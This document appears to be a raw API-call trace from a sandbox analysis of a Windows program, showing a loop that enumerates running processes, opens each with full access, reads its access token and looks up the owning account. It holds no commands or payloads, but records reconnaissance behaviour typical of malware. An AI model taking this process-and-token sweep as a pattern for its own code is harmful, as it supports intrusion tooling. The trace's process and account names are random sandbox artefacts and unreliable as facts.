	[0131.477] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.479] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7030, cchName=0x1948f8, ReferencedDomainName=0x4015a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.481] GetProcessHeap () returned 0x380000
	[0131.481] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.481] CloseHandle (hObject=0x160) returned 1
	[0131.481] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sleepingtheregather.exe")) returned 1
	[0131.483] SetLastError (dwErrCode=0x0) 
	[0131.483] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x10c) returned 0x160
	[0131.483] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x19c) returned 1
	[0131.483] GetTokenInformation (in: TokenHandle=0x19c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.483] GetProcessHeap () returned 0x380000
	[0131.483] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.483] GetTokenInformation (in: TokenHandle=0x19c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.484] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.485] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b6d70, cchName=0x1948f8, ReferencedDomainName=0x4012a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.487] GetProcessHeap () returned 0x380000
	[0131.487] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.487] CloseHandle (hObject=0x160) returned 1
	[0131.487] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="profile accepting clark.exe")) returned 1
	[0131.489] SetLastError (dwErrCode=0x0) 
	[0131.489] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x80c) returned 0x160
	[0131.489] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x1a0) returned 1
	[0131.489] GetTokenInformation (in: TokenHandle=0x1a0, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.490] GetProcessHeap () returned 0x380000
	[0131.490] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.490] GetTokenInformation (in: TokenHandle=0x1a0, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.490] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.491] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7030, cchName=0x1948f8, ReferencedDomainName=0x4011a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.493] GetProcessHeap () returned 0x380000
	[0131.493] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.493] CloseHandle (hObject=0x160) returned 1
	[0131.493] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="origins models wing.exe")) returned 1
	[0131.495] SetLastError (dwErrCode=0x0) 
	[0131.495] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x81c) returned 0x160
	[0131.495] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x198) returned 1
	[0131.495] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.496] GetProcessHeap () returned 0x380000
	[0131.496] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.496] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.496] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.497] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b6d70, cchName=0x1948f8, ReferencedDomainName=0x4015a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.499] GetProcessHeap () returned 0x380000
	[0131.499] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.499] CloseHandle (hObject=0x160) returned 1
	[0131.499] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hurricane.exe")) returned 1
	[0131.501] SetLastError (dwErrCode=0x0) 
	[0131.501] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x82c) returned 0x160
	[0131.501] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x194) returned 1
	[0131.501] GetTokenInformation (in: TokenHandle=0x194, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.501] GetProcessHeap () returned 0x380000
	[0131.502] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.502] GetTokenInformation (in: TokenHandle=0x194, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.502] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.503] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7030, cchName=0x1948f8, ReferencedDomainName=0x4012a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.505] GetProcessHeap () returned 0x380000
	[0131.505] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.505] CloseHandle (hObject=0x160) returned 1
	[0131.505] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basketballamdphil.exe")) returned 1
	[0131.507] SetLastError (dwErrCode=0x0) 
	[0131.507] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x83c) returned 0x160
	[0131.507] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x18c) returned 1
	[0131.508] GetTokenInformation (in: TokenHandle=0x18c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.508] GetProcessHeap () returned 0x380000
	[0131.508] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.508] GetTokenInformation (in: TokenHandle=0x18c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.508] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.509] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b6d70, cchName=0x1948f8, ReferencedDomainName=0x4011a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.511] GetProcessHeap () returned 0x380000
	[0131.511] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.511] CloseHandle (hObject=0x160) returned 1
	[0131.511] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="calculate-hung.exe")) returned 1
	[0131.513] SetLastError (dwErrCode=0x0) 
	[0131.513] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x84c) returned 0x160
	[0131.513] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x214) returned 1
	[0131.513] GetTokenInformation (in: TokenHandle=0x214, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.513] GetProcessHeap () returned 0x380000
	[0131.513] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.513] GetTokenInformation (in: TokenHandle=0x214, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.513] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.614] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7030, cchName=0x1948f8, ReferencedDomainName=0x4015a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.616] GetProcessHeap () returned 0x380000
	[0131.616] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.616] CloseHandle (hObject=0x160) returned 1
	[0131.616] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="legs.exe")) returned 1
	[0131.618] SetLastError (dwErrCode=0x0) 
	[0131.618] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x85c) returned 0x160
	[0131.618] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x218) returned 1
	[0131.618] GetTokenInformation (in: TokenHandle=0x218, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.618] GetProcessHeap () returned 0x380000
	[0131.618] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.619] GetTokenInformation (in: TokenHandle=0x218, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.619] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.620] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b70b0, cchName=0x1948f8, ReferencedDomainName=0x4012a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.622] GetProcessHeap () returned 0x380000
	[0131.622] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.622] CloseHandle (hObject=0x160) returned 1
	[0131.622] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fails_wichita_innocent.exe")) returned 1
	[0131.623] SetLastError (dwErrCode=0x0) 
	[0131.624] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x86c) returned 0x160
	[0131.624] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x210) returned 1
	[0131.624] GetTokenInformation (in: TokenHandle=0x210, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.624] GetProcessHeap () returned 0x380000
	[0131.624] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.624] GetTokenInformation (in: TokenHandle=0x210, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.624] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.626] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7030, cchName=0x1948f8, ReferencedDomainName=0x4011a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.628] GetProcessHeap () returned 0x380000
	[0131.628] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.628] CloseHandle (hObject=0x160) returned 1
	[0131.628] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="groundwater pokemon.exe")) returned 1
	[0131.630] SetLastError (dwErrCode=0x0) 
	[0131.630] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x87c) returned 0x160
	[0131.630] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x1b8) returned 1
	[0131.630] GetTokenInformation (in: TokenHandle=0x1b8, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.630] GetProcessHeap () returned 0x380000
	[0131.630] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.630] GetTokenInformation (in: TokenHandle=0x1b8, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.630] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.632] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b70b0, cchName=0x1948f8, ReferencedDomainName=0x4015a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.634] GetProcessHeap () returned 0x380000
	[0131.634] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.634] CloseHandle (hObject=0x160) returned 1
	[0131.634] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="kinds-earth-explains.exe")) returned 1
	[0131.636] SetLastError (dwErrCode=0x0) 
	[0131.636] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x88c) returned 0x160
	[0131.636] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x1b0) returned 1
	[0131.636] GetTokenInformation (in: TokenHandle=0x1b0, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.636] GetProcessHeap () returned 0x380000
	[0131.637] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.637] GetTokenInformation (in: TokenHandle=0x1b0, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.637] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.638] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7030, cchName=0x1948f8, ReferencedDomainName=0x4012a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.640] GetProcessHeap () returned 0x380000
	[0131.640] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.640] CloseHandle (hObject=0x160) returned 1
